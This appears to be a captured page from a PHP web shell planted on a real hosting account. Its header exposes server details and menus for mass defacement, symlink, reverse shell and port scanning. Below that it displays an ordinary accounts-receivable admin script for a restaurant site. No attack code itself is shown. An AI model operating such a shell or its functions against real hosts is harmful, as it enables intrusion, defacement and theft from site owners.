Tul xxx Tul
User / IP
:
216.73.216.217
Host / Server
:
45.84.207.204 / aircan.me
System
:
Linux lt-bnk-web1726.main-hosting.eu 5.14.0-611.36.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Mar 3 11:23:52 EST 2026 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
u931257429
/
domains
/
aircan.me
/
public_html
/
comidarapidamaylor
/
admin
/
Viewing: accounts_receivable.php
<?php include '../components/connect.php'; session_start(); $admin_id = $_SESSION['admin_id'] ?? null; if (!$admin_id) { header('location:admin_login.php'); exit(); } $message = []; $errors = []; // Migración: ampliar ENUMs de cash_transactions para soportar abonos y tarjeta try { $rtCol = $conn->query("SELECT COLUMN_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='cash_transactions' AND COLUMN_NAME='reference_type'")->fetchColumn(); if ($rtCol && strpos($rtCol, 'ar_payment') === false) { $conn->exec("ALTER TABLE cash_transactions MODIFY COLUMN reference_type ENUM('dine_in','delivery','manual','ar_payment') NOT NULL DEFAULT 'manual'"); } $pmCol = $conn->query("SELECT COLUMN_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA=DATABASE() AND TABLE_NAME='cash_transactions' AND COLUMN_NAME='payment_method'")->fetchColumn(); if ($pmCol && strpos($pmCol, 'tarjeta') === false) { $conn->exec("ALTER TABLE cash_transactions MODIFY COLUMN payment_method ENUM('efectivo','transferencia','tarjeta') NOT NULL DEFAULT 'efectivo'"); } } catch (Throwable $e) { /* ignore */ } // Procesar formularios if ($_SERVER['REQUEST_METHOD'] === 'POST') { $action = $_POST['action'] ?? ''; // Crear nueva cuenta por cobrar if ($action === 'create_account') { $customer_id = (int) ($_POST['customer_id'] ?? 0); $invoice_number = trim($_POST['invoice_number'] ?? ''); $description = trim($_POST['description'] ?? ''); $total_amount = (float) ($_POST['total_amount'] ?? 0); $due_date = $_POST['due_date'] ?? null; $payment_type = $_POST['payment_type'] ?? 'credito'; $notes = trim($_POST['notes'] ?? ''); if ($customer_id <= 0) { $errors[] = 'Selecciona un cliente.'; } if ($total_amount <= 0) { $errors[] = 'El monto debe ser mayor a 0.'; } if (empty($errors)) { try { $stmt = $conn->prepare('INSERT INTO accounts_receivable (customer_id, invoice_number, description, total_amount, due_date, payment_type, created_by, notes) VALUES (?, ?, ?, ?, ?, ?, ?, ?)'); $stmt->execute([$customer_id, $invoice_number, $description, $total_amount, $due_date, $payment_type, $admin_id, $notes]); $message[] = 'Cuenta por cobrar registrada exitosamente.'; header('location:accounts_receivable.php'); exit(); } catch (PDOException $e) { $errors[] = 'Error al registrar la cuenta: ' . $e->getMessage(); } } } // Registrar pago if ($action === 'register_payment') { $account_id = (int) ($_POST['account_id'] ?? 0); $payment_amount = (float) ($_POST['payment_amount'] ?? 0); $payment_method = $_POST['payment_method'] ?? 'efectivo'; $reference_number = trim($_POST['reference_number'] ?? ''); $payment_notes = trim($_POST['payment_notes'] ?? ''); if ($account_id <= 0) { $errors[] = 'Cuenta no válida.'; } if ($payment_amount <= 0) { $errors[] = 'El monto del pago debe ser mayor a 0.'; } if (empty($errors)) { try { $conn->beginTransaction(); // Verificar monto pendiente $stmt = $conn->prepare('SELECT pending_amount FROM accounts_receivable WHERE id = ?'); $stmt->execute([$account_id]); $account = $stmt->fetch(PDO::FETCH_ASSOC); if (!$account) { throw new Exception('Cuenta no encontrada.'); } if ($payment_amount > $account['pending_amount']) { throw new Exception('El monto del pago excede la deuda pendiente.'); } // Registrar pago $stmt = $conn->prepare('INSERT INTO ar_payments (account_receivable_id, payment_amount, payment_method, reference_number, notes, received_by) VALUES (?, ?, ?, ?, ?, ?)'); $stmt->execute([$account_id, $payment_amount, $payment_method, $reference_number, $payment_notes, $admin_id]); $paymentId = (int)$conn->lastInsertId(); // Registrar en caja como ingreso (INSERT directo) $custStmt = $conn->prepare('SELECT c.name FROM accounts_receivable ar INNER JOIN customers c ON c.id = ar.customer_id WHERE ar.id = ? LIMIT 1'); $custStmt->execute([$account_id]); $custName = $custStmt->fetchColumn() ?: 'Cliente'; $cashResult = false; $regStmt = $conn->prepare("SELECT id FROM cash_registers WHERE status = 'open' ORDER BY opened_at DESC LIMIT 1"); $regStmt->execute(); $openRegisterId = $regStmt->fetchColumn(); if ($openRegisterId) { $safeMethod = in_array($payment_method, ['efectivo', 'transferencia', 'tarjeta']) ? $payment_method : 'efectivo'; $cashInsert = $conn->prepare("INSERT INTO cash_transactions (register_id, type, amount, payment_method, description, reference_type, reference_id, admin_id) VALUES (?, 'income', ?, ?, ?, 'ar_payment', ?, ?)"); $cashResult = $cashInsert->execute([ (int)$openRegisterId, $payment_amount, $safeMethod, "Abono cliente: {$custName}", $paymentId > 0 ? $paymentId : $account_id, (int)$admin_id ]); } $conn->commit(); if ($paymentId > 0) { header('location:voucher_ticket.php?type=ar_payment&id=' . $paymentId . '&print=1&return=' . rawurlencode('accounts_receivable.php?view=' . $account_id)); exit(); } if ($cashResult) { $message[] = 'Pago registrado exitosamente y reflejado en caja.'; } else { $message[] = 'Pago registrado exitosamente. Nota: No se reflejó en caja (verifique que la caja esté abierta).'; } } catch (Exception $e) { if ($conn->inTransaction()) { $conn->rollBack(); } $errors[] = $e->getMessage(); } } } } // Obtener parámetros de filtro $customer_filter = (int) ($_GET['customer_id'] ?? 0); $status_filter = $_GET['status'] ?? 'all'; $search = trim($_GET['search'] ?? ''); // Obtener cuentas por cobrar $query = "SELECT ar.*, c.name as customer_name, c.document_number as customer_document, c.phone as customer_phone, ad.name as created_by_name FROM accounts_receivable ar INNER JOIN customers c ON c.id = ar.customer_id LEFT JOIN admin ad ON ad.id = ar.created_by WHERE 1=1"; $params = []; if ($customer_filter > 0) { $query .= " AND ar.customer_id = ?"; $params[] = $customer_filter; } if ($status_filter !== 'all') { $query .= " AND ar.status = ?"; $params[] = $status_filter; } if ($search !== '') { $query .= " AND (c.name LIKE ? OR ar.invoice_number LIKE ? OR ar.description LIKE ?)"; $searchParam = "%{$search}%"; $params = array_merge($params, [$searchParam, $searchParam, $searchParam]); } $query .= " ORDER BY CASE ar.status WHEN 'pending' THEN 1 WHEN 'partial' THEN 2 WHEN 'paid' THEN 3 ELSE 4 END, ar.due_date ASC, ar.created_at DESC"; $stmt = $conn->prepare($query); $stmt->execute($params); $accounts = $stmt->fetchAll(PDO::FETCH_ASSOC); // Obtener clientes para el dropdown $customersStmt = $conn->query('SELECT id, name FROM customers WHERE is_active = 1 ORDER BY name ASC'); $customers = $customersStmt->fetchAll(PDO::FETCH_ASSOC); // Obtener cuenta específica para ver detalles $selected_account = null; $selected_payments = []; if (isset($_GET['view'])) { $view_id = (int) $_GET['view']; $stmt = $conn->prepare('SELECT ar.*, c.name as customer_name, c.document_number, c.phone, c.email, c.address FROM accounts_receivable ar INNER JOIN customers c ON c.id = ar.customer_id WHERE ar.id = ?'); $stmt->execute([$view_id]); $selected_account = $stmt->fetch(PDO::FETCH_ASSOC); if ($selected_account) { $stmt = $conn->prepare('SELECT p.*, ad.name as received_by_name FROM ar_payments p LEFT JOIN admin ad ON ad.id = p.received_by WHERE p.account_receivable_id = ? ORDER BY p.payment_date DESC'); $stmt->execute([$view_id]); $selected_payments = $stmt->fetchAll(PDO::FETCH_ASSOC); } } // Estadísticas $statsStmt = $conn->prepare("SELECT COUNT(*) as total_accounts, SUM(CASE WHEN status = 'pending' THEN pending_amount ELSE 0 END) as total_pending, SUM(CASE WHEN status = 'partial' THEN pending_amount ELSE 0 END) as total_partial, SUM(CASE WHEN status = 'paid' THEN total_amount ELSE 0 END) as total_paid FROM accounts_receivable"); $statsStmt->execute(); $stats = $statsStmt->fetch(PDO::FETCH_ASSOC); $businessName = getBusinessName($conn); $iconHref = '../icon.php?size=64'; function formatDate($date) { return $date ? date('d/m/Y', strtotime($date)) : '-'; } ?> <!DOCTYPE html> <html lang="es"> <head> <meta charset="UTF-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Cuentas por Cobrar | <?= htmlspecialchars($businessName); ?></title> <link rel="icon" href="<?= htmlspecialchars($iconHref); ?>" type="image/png"> <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css"> <link rel="stylesheet" href="../css/admin_style.css"> <style> :root { --primary: #3b82f6; --primary-dark: #2563eb; --success: #10b981; --warning: #f59e0b; --danger: #ef4444; --info: #06b6d4; } .page-header { display: flex; justify-content: space-between; align-items: center; margin-bottom: 2rem; flex-wrap: wrap; gap: 1rem; } .page-title { font-size: 1.75rem; font-weight: 800; color: #1e293b; display: flex; align-items: center; gap: 0.75rem; } .page-title i { color: var(--primary); } /* Stats Cards */ .stats-grid { display: grid; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); gap: 1rem; margin-bottom: 2rem; } .stat-card { background: #fff; border-radius: 12px; padding: 1.25rem; border: 1px solid #e2e8f0; box-shadow: 0 4px 6px rgba(0, 0, 0, 0.05); } .stat-card .stat-label { font-size: 0.85rem; color: #64748b; font-weight: 600; margin-bottom: 0.5rem; } .stat-card .stat-value { font-size: 1.75rem; font-weight: 800; color: #1e293b; } .stat-card.pending { border-left: 4px solid var(--danger); } .stat-card.partial { border-left: 4px solid var(--warning); } .stat-card.paid { border-left: 4px solid var(--success); } .stat-card.total { border-left: 4px solid var(--primary); } /* Filters */ .filters-bar { display: flex; gap: 1rem; margin-bottom: 1.5rem; flex-wrap: wrap; background: #fff; padding: 1rem; border-radius: 12px; border: 1px solid #e2e8f0; } .filter-input, .filter-select { padding: 0.6rem 1rem; border: 2px solid #e2e8f0; border-radius: 8px; font-size: 0.95rem; background: #fff; } .filter-input { flex: 1; min-width: 200px; } .filter-input:focus, .filter-select:focus { outline: none; border-color: var(--primary); } /* Buttons */ .btn { display: inline-flex; align-items: center; gap: 0.5rem; padding: 0.6rem 1.25rem; border-radius: 8px; font-weight: 600; cursor: pointer; border: none; transition: all 0.2s; text-decoration: none; font-size: 0.9rem; } .btn-primary { background: var(--primary); color: white; } .btn-primary:hover { background: var(--primary-dark); } .btn-success { background: var(--success); color: white; } .btn-success:hover { background: #059669; } .btn-warning { background: var(--warning); color: white; } .btn-warning:hover { background: #d97706; } .btn-cancel { background: #f1f5f9; color: #475569; } .btn-cancel:hover { background: #e2e8f0; } .btn-sm { padding: 0.4rem 0.75rem; font-size: 0.85rem; } /* Table */ .data-table { width: 100%; background: #fff; border-radius: 12px; overflow: hidden; border: 1px solid #e2e8f0; } .data-table table { width: 100%; border-collapse: collapse; } .data-table th { background: #f8fafc; padding: 0.875rem 1rem; text-align: left; font-weight: 700; color: #475569; font-size: 0.85rem; text-transform: uppercase; letter-spacing: 0.05em; border-bottom: 2px solid #e2e8f0; } .data-table td { padding: 0.875rem 1rem; border-bottom: 1px solid #f1f5f9; color: #334155; font-size: 0.9rem; } .data-table tbody tr:hover { background: #f8fafc; } /* Badges */ .badge { display: inline-flex; align-items: center; gap: 0.3rem; padding: 0.25rem 0.6rem; border-radius: 99px; font-size: 0.75rem; font-weight: 700; } .badge-success { background: #dcfce7; color: #166534; } .badge-warning { background: #fef3c7; color: #92400e; } .badge-danger { background: #fee2e2; color: #991b1b; } .badge-info { background: #cffafe; color: #155e75; } .amount-pending { color: var(--danger); font-weight: 700; } .amount-paid { color: var(--success); font-weight: 700; } .empty-state { text-align: center; padding: 3rem 1rem; color: #64748b; } .empty-state i { font-size: 3rem; color: #cbd5e1; margin-bottom: 1rem; } /* Modal - Full screen overlay */ .modal-overlay { position: fixed; inset: 0; background: rgba(15, 23, 42, 0.55); backdrop-filter: blur(3px); display: none; align-items: center; justify-content: center; padding: 1.5rem; z-index: 2500; } .modal-overlay.show { display: flex; } .modal-content { background: #fff; border-radius: 16px; max-width: 750px; width: 100%; max-height: 90vh; overflow-y: auto; box-shadow: 0 25px 70px rgba(0, 0, 0, 0.4); } .modal-header { padding: 1.25rem 1.5rem; border-bottom: 1px solid #e2e8f0; display: flex; justify-content: space-between; align-items: center; } .modal-header h3 { margin: 0; font-size: 1.25rem; font-weight: 700; color: #1e293b; } .modal-close { background: none; border: none; font-size: 1.5rem; cursor: pointer; color: #64748b; } .modal-close:hover { color: #1e293b; } .modal-body { padding: 1.5rem; } .modal-footer { padding: 1rem 1.5rem; border-top: 1px solid #e2e8f0; display: flex; justify-content: flex-end; gap: 0.75rem; } .form-group { margin-bottom: 1.25rem; } .form-group label { display: block; margin-bottom: 0.5rem; font-weight: 600; color: #374151; font-size: 0.9rem; } .form-control { width: 100%; padding: 0.625rem 0.875rem; border: 2px solid #e2e8f0; border-radius: 8px; font-size: 0.95rem; } .form-control:focus { outline: none; border-color: var(--primary); } .form-row { display: grid; grid-template-columns: 1fr 1fr; gap: 1rem; } /* Detail view */ .detail-card { background: #fff; border-radius: 12px; border: 1px solid #e2e8f0; overflow: hidden; margin-bottom: 1.5rem; } .detail-header { background: #f8fafc; padding: 1rem 1.25rem; border-bottom: 1px solid #e2e8f0; font-weight: 700; color: #1e293b; } .detail-body { padding: 1.25rem; } .detail-row { display: grid; grid-template-columns: 180px 1fr; gap: 0.75rem; margin-bottom: 0.75rem; } .detail-label { color: #64748b; font-weight: 600; font-size: 0.9rem; } .detail-value { color: #1e293b; font-size: 0.9rem; } .progress-bar { width: 100%; height: 8px; background: #e2e8f0; border-radius: 4px; overflow: hidden; margin-top: 0.5rem; } .progress-fill { height: 100%; background: var(--success); transition: width 0.3s; } .back-link { display: inline-flex; align-items: center; gap: 0.5rem; color: var(--primary); text-decoration: none; font-weight: 600; margin-bottom: 1rem; } .back-link:hover { color: var(--primary-dark); } @media (max-width: 768px) { .form-row { grid-template-columns: 1fr; } .detail-row { grid-template-columns: 1fr; } .data-table { overflow-x: auto; } .data-table table { min-width: 900px; } } </style> </head> <body> <?php include '../components/admin_header.php'; ?> <section class="accounts-section"> <?php if ($selected_account): ?> <!-- Vista detallada de una cuenta --> <a href="accounts_receivable.php<?= $customer_filter > 0 ? '?customer_id=' . $customer_filter : ''; ?>" class="back-link"> <i class="fas fa-arrow-left"></i> Volver al listado </a> <div class="page-header"> <h1 class="page-title"> <i class="fas fa-file-invoice-dollar"></i> Detalle de Cuenta </h1> </div> <!-- Info de la cuenta --> <div class="detail-card"> <div class="detail-header"> <i class="fas fa-file-alt"></i> Información de la Cuenta #<?= $selected_account['id']; ?> </div> <div class="detail-body"> <div class="detail-row"> <span class="detail-label">Cliente:</span> <span class="detail-value"><strong><?= htmlspecialchars($selected_account['customer_name']); ?></strong></span> </div> <?php if ($selected_account['invoice_number']): ?> <div class="detail-row"> <span class="detail-label">N° Factura:</span> <span class="detail-value"><?= htmlspecialchars($selected_account['invoice_number']); ?></span> </div> <?php endif; ?> <div class="detail-row"> <span class="detail-label">Descripción:</span> <span class="detail-value"><?= htmlspecialchars($selected_account['description'] ?? '-'); ?></span> </div> <div class="detail-row"> <span class="detail-label">Monto Total:</span> <span class="detail-value" style="font-size: 1.25rem; font-weight: 800; color: var(--primary);"> <?= formatMoney($selected_account['total_amount']); ?> </span> </div> <div class="detail-row"> <span class="detail-label">Monto Pagado:</span> <span class="detail-value amount-paid"> <?= formatMoney($selected_account['paid_amount']); ?> </span> </div> <div class="detail-row"> <span class="detail-label">Monto Pendiente:</span> <span class="detail-value amount-pending"> <?= formatMoney($selected_account['pending_amount']); ?> </span> </div> <div class="detail-row"> <span class="detail-label">Progreso de Pago:</span> <span class="detail-value"> <?php $progress = $selected_account['total_amount'] > 0 ? ($selected_account['paid_amount'] / $selected_account['total_amount']) * 100 : 0; ?> <div class="progress-bar"> <div class="progress-fill" style="width: <?= $progress; ?>%"></div> </div> <small style="color: #64748b;"><?= number_format($progress, 1); ?>% pagado</small> </span> </div> <div class="detail-row"> <span class="detail-label">Estado:</span> <span class="detail-value"> <?php $statusLabels = [ 'pending' => '<span class="badge badge-danger"><i class="fas fa-clock"></i> Pendiente</span>', 'partial' => '<span class="badge badge-warning"><i class="fas fa-hourglass-half"></i> Parcial</span>', 'paid' => '<span class="badge badge-success"><i class="fas fa-check-circle"></i> Pagado</span>', 'cancelled' => '<span class="badge badge-info"><i class="fas fa-ban"></i> Cancelado</span>' ]; echo $statusLabels[$selected_account['status']] ?? '-'; ?> </span> </div> <div class="detail-row"> <span class="detail-label">Fecha Vencimiento:</span> <span class="detail-value"><?= formatDate($selected_account['due_date']); ?></span> </div> </div> </div> <!-- Botón para registrar pago si está pendiente --> <?php if ($selected_account['status'] !== 'paid' && $selected_account['status'] !== 'cancelled'): ?> <div style="margin-bottom: 1.5rem;"> <button class="btn btn-success" onclick="openPaymentModal(<?= $selected_account['id']; ?>, <?= $selected_account['pending_amount']; ?>)"> <i class="fas fa-money-bill-wave"></i> Registrar Pago </button> </div> <?php endif; ?> <!-- Historial de pagos --> <div class="detail-card"> <div class="detail-header"> <i class="fas fa-history"></i> Historial de Pagos </div> <div class="detail-body"> <?php if (empty($selected_payments)): ?> <p style="color: #64748b; text-align: center; padding: 2rem;">No hay pagos registrados</p> <?php else: ?> <table style="width: 100%; border-collapse: collapse;"> <thead> <tr style="background: #f8fafc; border-bottom: 2px solid #e2e8f0;"> <th style="padding: 0.75rem; text-align: left; font-size: 0.85rem; color: #64748b;">Fecha</th> <th style="padding: 0.75rem; text-align: left; font-size: 0.85rem; color: #64748b;">Monto</th> <th style="padding: 0.75rem; text-align: left; font-size: 0.85rem; color: #64748b;">Método</th> <th style="padding: 0.75rem; text-align: left; font-size: 0.85rem; color: #64748b;">Referencia</th> <th style="padding: 0.75rem; text-align: left; font-size: 0.85rem; color: #64748b;">Recibido por </th> <th style="padding: 0.75rem; text-align: left; font-size: 0.85rem; color: #64748b;">Notas</th> <th style="padding: 0.75rem; text-align: center; font-size: 0.85rem; color: #64748b;">Ticket</th> </tr> </thead> <tbody> <?php foreach ($selected_payments as $payment): ?> <tr style="border-bottom: 1px solid #f1f5f9;"> <td style="padding: 0.75rem;"><?= formatDate($payment['payment_date']); ?></td> <td style="padding: 0.75rem; font-weight: 700; color: var(--success);"> <?= formatMoney($payment['payment_amount']); ?> </td> <td style="padding: 0.75rem;"> <span class="badge badge-info"> <i class="fas <?= $payment['payment_method'] === 'efectivo' ? 'fa-money-bill-wave' : ($payment['payment_method'] === 'tarjeta' ? 'fa-credit-card' : ($payment['payment_method'] === 'transferencia' ? 'fa-mobile-alt' : 'fa-money-check')) ?>"></i> <?= ucfirst($payment['payment_method']); ?> </span> </td> <td style="padding: 0.75rem;"><?= htmlspecialchars($payment['reference_number'] ?? '-'); ?></td> <td style="padding: 0.75rem;"><?= htmlspecialchars($payment['received_by_name'] ?? '-'); ?></td> <td style="padding: 0.75rem;"><?= htmlspecialchars($payment['notes'] ?? '-'); ?></td> <td style="padding: 0.75rem; text-align: center;"> <a href="voucher_ticket.php?type=ar_payment&id=<?= (int)$payment['id']; ?>&print=1&return=<?= rawurlencode('accounts_receivable.php?view=' . (int)$selected_account['id']); ?>" target="_blank" class="btn btn-primary" style="padding: 0.45rem 0.7rem; font-size: 0.8rem;"> <i class="fas fa-receipt"></i> </a> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> </div> <?php else: ?> <!-- Vista de listado --> <div class="page-header"> <h1 class="page-title"> <i class="fas fa-file-invoice-dollar"></i> Cuentas por Cobrar </h1> <div style="display: flex; gap: 0.75rem;"> <a href="customers.php" class="btn btn-cancel"> <i class="fas fa-users"></i> Clientes </a> <button class="btn btn-primary" onclick="openCreateModal()"> <i class="fas fa-plus"></i> Nueva Cuenta </button> </div> </div> <!-- Estadísticas --> <div class="stats-grid"> <div class="stat-card total"> <div class="stat-label"><i class="fas fa-file-alt"></i> Total de Cuentas</div> <div class="stat-value"><?= $stats['total_accounts']; ?></div> </div> <div class="stat-card pending"> <div class="stat-label"><i class="fas fa-clock"></i> Total Pendiente</div> <div class="stat-value" style="color: var(--danger);"><?= formatMoney($stats['total_pending']); ?></div> </div> <div class="stat-card partial"> <div class="stat-label"><i class="fas fa-hourglass-half"></i> Total Parcial</div> <div class="stat-value" style="color: var(--warning);"><?= formatMoney($stats['total_partial']); ?></div> </div> <div class="stat-card paid"> <div class="stat-label"><i class="fas fa-check-circle"></i> Total Cobrado</div> <div class="stat-value" style="color: var(--success);"><?= formatMoney($stats['total_paid']); ?></div> </div> </div> <?php if (!empty($message)): ?> <div class="alert alert-success"> <i class="fas fa-check-circle"></i> <?= htmlspecialchars($message[0]); ?> </div> <?php endif; ?> <?php if (!empty($errors)): ?> <div class="alert alert-danger"> <i class="fas fa-exclamation-circle"></i> <?= htmlspecialchars($errors[0]); ?> </div> <?php endif; ?> <!-- Filtros --> <form method="GET" class="filters-bar"> <input type="text" name="search" class="filter-input" placeholder="Buscar por cliente, factura o descripción..." value="<?= htmlspecialchars($search); ?>"> <select name="status" class="filter-select" onchange="this.form.submit()"> <option value="all" <?= $status_filter === 'all' ? 'selected' : ''; ?>>Todos los estados</option> <option value="pending" <?= $status_filter === 'pending' ? 'selected' : ''; ?>>Pendientes</option> <option value="partial" <?= $status_filter === 'partial' ? 'selected' : ''; ?>>Parciales</option> <option value="paid" <?= $status_filter === 'paid' ? 'selected' : ''; ?>>Pagados</option> <option value="cancelled" <?= $status_filter === 'cancelled' ? 'selected' : ''; ?>>Cancelados</option> </select> <button type="submit" class="btn btn-primary"> <i class="fas fa-search"></i> Buscar </button> <?php if ($search !== '' || $status_filter !== 'all' || $customer_filter > 0): ?> <a href="accounts_receivable.php" class="btn btn-cancel"> <i class="fas fa-times"></i> Limpiar </a> <?php endif; ?> </form> <!-- Tabla de cuentas --> <div class="data-table"> <?php if (empty($accounts)): ?> <div class="empty-state"> <i class="fas fa-file-invoice"></i> <h3>No hay cuentas registradas</h3> <p>Crea una nueva cuenta por cobrar</p> </div> <?php else: ?> <table> <thead> <tr> <th>ID</th> <th>Cliente</th> <th>N° Factura</th> <th>Monto Total</th> <th>Pagado</th> <th>Pendiente</th> <th>Vencimiento</th> <th>Estado</th> <th>Acciones</th> </tr> </thead> <tbody> <?php foreach ($accounts as $account): ?> <tr> <td><strong>#<?= $account['id']; ?></strong></td> <td> <strong><?= htmlspecialchars($account['customer_name']); ?></strong> <?php if ($account['customer_phone']): ?> <br><small style="color: #64748b;"><i class="fas fa-phone"></i> <?= htmlspecialchars($account['customer_phone']); ?></small> <?php endif; ?> </td> <td><?= htmlspecialchars($account['invoice_number'] ?? '-'); ?></td> <td style="font-weight: 700;"><?= formatMoney($account['total_amount']); ?></td> <td class="amount-paid"><?= formatMoney($account['paid_amount']); ?></td> <td class="amount-pending"><?= formatMoney($account['pending_amount']); ?></td> <td><?= formatDate($account['due_date']); ?></td> <td> <?php $statusLabels = [ 'pending' => '<span class="badge badge-danger"><i class="fas fa-clock"></i> Pendiente</span>', 'partial' => '<span class="badge badge-warning"><i class="fas fa-hourglass-half"></i> Parcial</span>', 'paid' => '<span class="badge badge-success"><i class="fas fa-check-circle"></i> Pagado</span>', 'cancelled' => '<span class="badge badge-info"><i class="fas fa-ban"></i> Cancelado</span>' ]; echo $statusLabels[$account['status']] ?? '-'; ?> </td> <td> <div style="display: flex; gap: 0.4rem;"> <a href="?view=<?= $account['id']; ?><?= $customer_filter > 0 ? '&customer_id=' . $customer_filter : ''; ?>" class="btn btn-sm btn-primary" title="Ver detalle"> <i class="fas fa-eye"></i> </a> <?php if ($account['status'] !== 'paid' && $account['status'] !== 'cancelled'): ?> <button class="btn btn-sm btn-success" onclick="openPaymentModal(<?= $account['id']; ?>, <?= $account['pending_amount']; ?>)" title="Registrar pago"> <i class="fas fa-money-bill-wave"></i> </button> <?php endif; ?> </div> </td> </tr> <?php endforeach; ?> </tbody> </table> <?php endif; ?> </div> <?php endif; ?> </section> <!-- Modal para crear cuenta --> <div class="modal-overlay" id="createModal"> <div class="modal-content"> <div class="modal-header"> <h3><i class="fas fa-plus-circle" style="color: var(--primary);"></i> Nueva Cuenta por Cobrar</h3> <button class="modal-close" onclick="closeCreateModal()">×</button> </div> <form method="POST"> <input type="hidden" name="action" value="create_account"> <div class="modal-body"> <div class="form-group"> <label>Cliente *</label> <select name="customer_id" class="form-control" required> <option value="">Selecciona un cliente</option> <?php foreach ($customers as $customer): ?> <option value="<?= $customer['id']; ?>" <?= $customer_filter == $customer['id'] ? 'selected' : ''; ?>> <?= htmlspecialchars($customer['name']); ?> </option> <?php endforeach; ?> </select> </div> <div class="form-row"> <div class="form-group"> <label>N° Factura / Documento</label> <input type="text" name="invoice_number" class="form-control" placeholder="Ej: FAC-001234"> </div> <div class="form-group"> <label>Monto Total *</label> <input type="number" name="total_amount" class="form-control" step="0.01" min="0" required placeholder="Ej: 500000"> </div> </div> <div class="form-group"> <label>Descripción</label> <input type="text" name="description" class="form-control" placeholder="Ej: Compra de mercadería"> </div> <div class="form-row"> <div class="form-group"> <label>Fecha de Vencimiento</label> <input type="date" name="due_date" class="form-control"> </div> <div class="form-group"> <label>Tipo de Pago</label> <select name="payment_type" class="form-control"> <option value="credito">Crédito</option> <option value="contado">Contado</option> </select> </div> </div> <div class="form-group"> <label>Notas</label> <textarea name="notes" class="form-control" rows="3" placeholder="Observaciones adicionales..."></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-cancel" onclick="closeCreateModal()">Cancelar</button> <button type="submit" class="btn btn-primary"> <i class="fas fa-save"></i> Crear Cuenta </button> </div> </form> </div> </div> <!-- Modal para registrar pago --> <div class="modal-overlay" id="paymentModal"> <div class="modal-content"> <div class="modal-header"> <h3><i class="fas fa-money-bill-wave" style="color: var(--success);"></i> Registrar Pago</h3> <button class="modal-close" onclick="closePaymentModal()">×</button> </div> <form method="POST"> <input type="hidden" name="action" value="register_payment"> <input type="hidden" name="account_id" id="paymentAccountId"> <div class="modal-body"> <div style="background: #f8fafc; padding: 1rem; border-radius: 8px; margin-bottom: 1rem; text-align: center;"> <div style="font-size: 0.85rem; color: #64748b; margin-bottom: 0.25rem;">Monto pendiente:</div> <div id="paymentPendingAmount" style="font-size: 2rem; font-weight: 900; color: var(--danger);">$0 </div> </div> <div class="form-group"> <label>Monto del Pago *</label> <input type="number" name="payment_amount" id="paymentAmount" class="form-control" step="0.01" min="0.01" required placeholder="Ingresa el monto"> </div> <div class="form-row"> <div class="form-group"> <label>Método de Pago *</label> <select name="payment_method" class="form-control" required> <option value="efectivo">💵 Efectivo</option> <option value="tarjeta">💳 Tarjeta</option> <option value="transferencia">📱 Transferencia</option> <option value="cheque">📝 Cheque</option> <option value="otro">📦 Otro</option> </select> </div> <div class="form-group"> <label>N° Referencia</label> <input type="text" name="reference_number" class="form-control" placeholder="Ej: NCR-123456"> </div> </div> <div class="form-group"> <label>Notas del Pago</label> <textarea name="payment_notes" class="form-control" rows="2" placeholder="Observaciones sobre el pago..."></textarea> </div> </div> <div class="modal-footer"> <button type="button" class="btn btn-cancel" onclick="closePaymentModal()">Cancelar</button> <button type="submit" class="btn btn-success"> <i class="fas fa-check"></i> Registrar Pago </button> </div> </form> </div> </div> <script> function formatCOP(amount) { return '$' + new Intl.NumberFormat('es-CO').format(amount || 0); } // Modal de crear cuenta function openCreateModal() { document.getElementById('createModal').classList.add('show'); } function closeCreateModal() { document.getElementById('createModal').classList.remove('show'); } // Cerrar modal al hacer clic fuera document.getElementById('createModal')?.addEventListener('click', function (e) { if (e.target === this) { closeCreateModal(); } }); // Modal de pago function openPaymentModal(accountId, pendingAmount) { document.getElementById('paymentAccountId').value = accountId; document.getElementById('paymentPendingAmount').textContent = formatCOP(pendingAmount); document.getElementById('paymentAmount').max = pendingAmount; document.getElementById('paymentAmount').placeholder = 'Máximo: ' + formatCOP(pendingAmount); document.getElementById('paymentModal').classList.add('show'); } function closePaymentModal() { document.getElementById('paymentModal').classList.remove('show'); } // Cerrar modal al hacer clic fuera document.getElementById('paymentModal')?.addEventListener('click', function (e) { if (e.target === this) { closePaymentModal(); } }); // Cerrar modales con Escape document.addEventListener('keydown', function (e) { if (e.key === 'Escape') { closeCreateModal(); closePaymentModal(); } }); // Validar monto del pago document.getElementById('paymentAmount')?.addEventListener('input', function () { const max = parseFloat(this.max); const value = parseFloat(this.value); if (value > max) { this.value = max; if (typeof Swal !== 'undefined') { Swal.fire({ icon: 'warning', title: 'Monto excedido', text: 'El monto no puede exceder el saldo pendiente.', confirmButtonColor: '#8b5cf6', confirmButtonText: 'Entendido', customClass: { container: 'swal-over-modal' } }); } } }); </script> <script src="https://cdn.jsdelivr.net/npm/sweetalert2@11"></script> <style>.swal-over-modal { z-index: 3000 !important; }</style> </body> </html>
Coded With 💗 by
0x6ick